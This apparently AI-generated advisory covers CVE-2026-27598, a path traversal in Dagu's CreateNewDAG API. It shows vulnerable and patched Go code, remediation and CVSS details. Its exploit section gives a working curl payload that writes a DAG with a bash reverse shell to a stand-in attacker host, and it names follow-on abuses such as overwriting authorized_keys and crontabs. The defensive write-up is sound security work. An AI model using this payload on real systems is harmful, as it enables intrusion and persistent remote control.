CVEReports
CVEReports

Automated vulnerability intelligence platform. Comprehensive reports for high-severity CVEs generated by AI.

Product

  • Home
  • Sitemap
  • RSS Feed

Company

  • About
  • Contact
  • Privacy Policy
  • Terms of Service

© 2026 CVEReports. All rights reserved.

Made with love by Amit Schendel & Alon Barad



CVE-2026-27598
7.1

Dagu Path Traversal: When 'Absolute' Power Corrupts Absolutely

Alon Barad
Alon Barad
Software Engineer

Feb 25, 2026·6 min read·7 visits

PoC Available

Executive Summary (TL;DR)

Unsanitized input in Dagu's `CreateNewDAG` API allows attackers to use directory traversal sequences (`../`) to write files anywhere on the host. Because Dagu executes the contents of these files, this leads to immediate RCE.

A critical Path Traversal vulnerability in the Dagu workflow engine allows attackers to break out of the intended storage directory. By manipulating the DAG name in the API, an attacker can write arbitrary YAML files anywhere on the filesystem. Since Dagu's primary function is executing shell commands defined in these files, this vulnerability grants unbridled Remote Code Execution (RCE) capabilities, turning a helpful automation tool into a hacker's playground.

The Hook: A Workflow Engine with a Wandering Eye

Meet Dagu. It's a slick, self-proclaimed "cron replacement" written in Go. It loves DAGs (Directed Acyclic Graphs), it loves YAML, and most importantly, it loves executing shell commands to get work done. Developers use it to automate data pipelines, deployments, and backups. It is, by design, a remote command execution engine wrapped in a nice UI.

Now, usually, when you build a tool that executes commands based on files, you want to keep those files in a very specific, locked-down padded room. You don't want the user telling the engine where to put the logic. But Dagu had a bit of a blind spot. It assumed that when a user named a new workflow, they would play nice.

CVE-2026-27598 is the story of what happens when you let user input dictate filesystem operations. It turns out, if you let a user name their project ../../../../etc/cron.d/pwned, computers will dutifully oblige. This isn't just a bug; it's a skeleton key to the server's filesystem.

The Flaw: The 'Absolute' Trap

The vulnerability lives in the CreateNewDAG API endpoint. When you send a POST request to create a new workflow, you provide a JSON body with a name field. Dagu takes this name and needs to figure out where to store the corresponding YAML file on disk.

Most secure applications would strip out any special characters, hash the name, or strictly append it to a base directory. Dagu, however, had a logic bomb in internal/persis/filedag/store.go. The developers likely wanted to support absolute paths for internal flexibility, but they exposed this logic to the public API.

Here is the fatal logic flaw:

> 1. Check if the name contains a slash or separator. > 2. If it does, resolve it to an absolute path. > 3. If it resolves successfully, write the file there.

It completely ignored the configured baseDir (the safe sandbox) if the user provided a path separator. It didn't sanitize ../ sequences. It just saw a path, said "looks like a path to me," and handed it off to the OS to write. This is the programmatic equivalent of a bank teller letting you walk into the vault because you showed up wearing a vest that said 'Vault Inspector'.

The Code: The Smoking Gun

Let's look at the actual Go code responsible for this mess. This snippet is from generateFilePath in the vulnerable version. It vividly demonstrates the logic failure.

// Vulnerable Code in internal/persis/filedag/store.go
func generateFilePath(baseDir, name string) (string, error) {
    // If the name looks like a path, treat it as an absolute path!
    if strings.Contains(name, string(filepath.Separator)) {
        filePath, err := filepath.Abs(name)
        if err == nil {
            return filePath, nil // <--- The smoking gun
        }
    }
    // ... otherwise join with baseDir
}

See that? If I send name: "../../tmp/evil", strings.Contains returns true. filepath.Abs resolves it relative to the working directory, effectively breaking out of baseDir. The function returns the escaped path immediately, bypassing any sandbox logic.

Now, look at the fix in commit e2ed589105d79273e4e6ac8eb31525f765bb3ce4. The developers had to nuke this logic entirely and enforce containment.

// Patched Code
func generateFilePath(baseDir, name string) (string, error) {
    // 1. Strip directory traversal shenanigans
    cleanName := filepath.Base(name)
    
    // 2. Force the path to be inside baseDir
    filePath := filepath.Join(baseDir, cleanName)
    
    // 3. Verify we didn't escape (Defense in Depth)
    if !strings.HasPrefix(filePath, baseDir) {
        return "", fmt.Errorf("invalid path")
    }
    return filePath, nil
}

The fix forces filepath.Base(), which strips everything except the final filename (turning ../../tmp/evil into just evil). It then explicitly joins it with baseDir and verifies the prefix. Simple, effective, and what should have been there day one.

The Exploit: Escaping the Jail

Exploiting this is trivially easy. We don't need buffer overflows or heap grooming. We just need curl and a dream.

The Attack Scenario: We want to execute code as the user running Dagu. Since Dagu runs YAML files, we can just write a malicious YAML file. But where? We could overwrite an existing config, or we could write to a location that we know executes scripts (like init.d or cron if we are lucky with permissions). Or, we can simply write a DAG file to a hidden directory we control.

Here is the payload:

curl -X POST http://target:8080/api/v1/dags \
  -H "Content-Type: application/json" \
  -d '{
    "name": "../../tmp/pwned_dag",
    "spec": "steps:\n  - name: RCE\n    command: bash -c \"bash -i >& /dev/tcp/attacker.com/4444 0>&1\""
  }'

What happens next?

  1. The API receives the request.
  2. generateFilePath sees the / in the name.
  3. It resolves the path to /tmp/pwned_dag.yaml (assuming Dagu is running in a standard path).
  4. It writes our malicious YAML payload to that location.
  5. If Dagu is configured to watch that directory (or if we overwrote an existing DAG in the active directory), the reverse shell triggers immediately.

Even without immediate execution, this is an Arbitrary File Write. We could overwrite the dagu.yaml configuration file to disable authentication, or overwrite SSH authorized_keys if the process runs with high privileges.

The Impact: Why This Matters

This vulnerability is rated High (CVSS 7.1) for a reason. While the vector implies a "File Write," the context is a Workflow Engine. In this context, File Write == Code Execution.

If an attacker can write a DAG, they define the shell commands Dagu executes. The traversal allows them to:

  1. Bypass Access Controls: By writing to directories outside the standard DAG storage, they might bypass backup routines or auditing tools monitoring the main folder.
  2. System Sabotage: Overwriting critical system files (denial of service).
  3. Persistence: Writing to startup folders or crontabs to maintain access even if Dagu is restarted.

Since many of these tools run in containerized environments (often as root inside the container), escaping the application directory can often mean full container compromise.

The Fix: Defense in Depth

The remediation is straightforward but serves as a crucial lesson in Go security.

1. Sanitize Input at the Gate: The API handler now explicitly calls core.ValidateDAGName(), which rejects names containing . or .. before they even reach the storage layer.

2. Anchor the Path: The storage layer uses filepath.Base() to ensure that even if a bad name slips through validation, it is treated as a flat filename, not a path.

3. Verify the Result: The use of strings.HasPrefix ensures that the final resolved path is mathematically strictly inside the allowed directory. This pattern is the gold standard for preventing path traversal in Go.

Immediate Action for Users: Upgrade to a version containing commit e2ed589. If upgrading isn't possible, you must ensure the Dagu process runs with the absolute minimum filesystem permissions—it should technically only need write access to its specific data directory, nowhere else.

Official Patches

dagu-orgOfficial patch commit

Fix Analysis (1)

Technical Appendix

CVSS Score
7.1/ 10
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N

Affected Systems

Dagu Workflow Engine <= 1.16.7

Affected Versions Detail

Product
Affected Versions
Fixed Version
dagu
dagu-org
<= 1.16.7Post-1.16.7 (Commit e2ed589)
AttributeDetail
CWECWE-22 (Path Traversal)
CVSS Score7.1 (High)
Attack VectorNetwork (API)
ImpactRemote Code Execution (RCE) / Arbitrary File Write
Exploit StatusPoC Available
Fixed Commite2ed589105d79273e4e6ac8eb31525f765bb3ce4

MITRE ATT&CK Mapping

T1083File and Directory Discovery
Discovery
T1059.004Command and Scripting Interpreter: Unix Shell
Execution
CWE-22
Path Traversal

Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')

Known Exploits & Detection

Researcher PoCCurl command demonstrating arbitrary file write via API

Vulnerability Timeline

Fix commit authored
2026-02-21
GHSA Advisory Published
2026-02-24
CVE Published
2026-02-25

References & Sources

  • [1]GHSA Advisory

Attack Flow Diagram

Press enter or space to select a node. You can then use the arrow keys to move the node around. Press delete to remove it and escape to cancel.
Press enter or space to select an edge. You can then press delete to remove it or escape to cancel.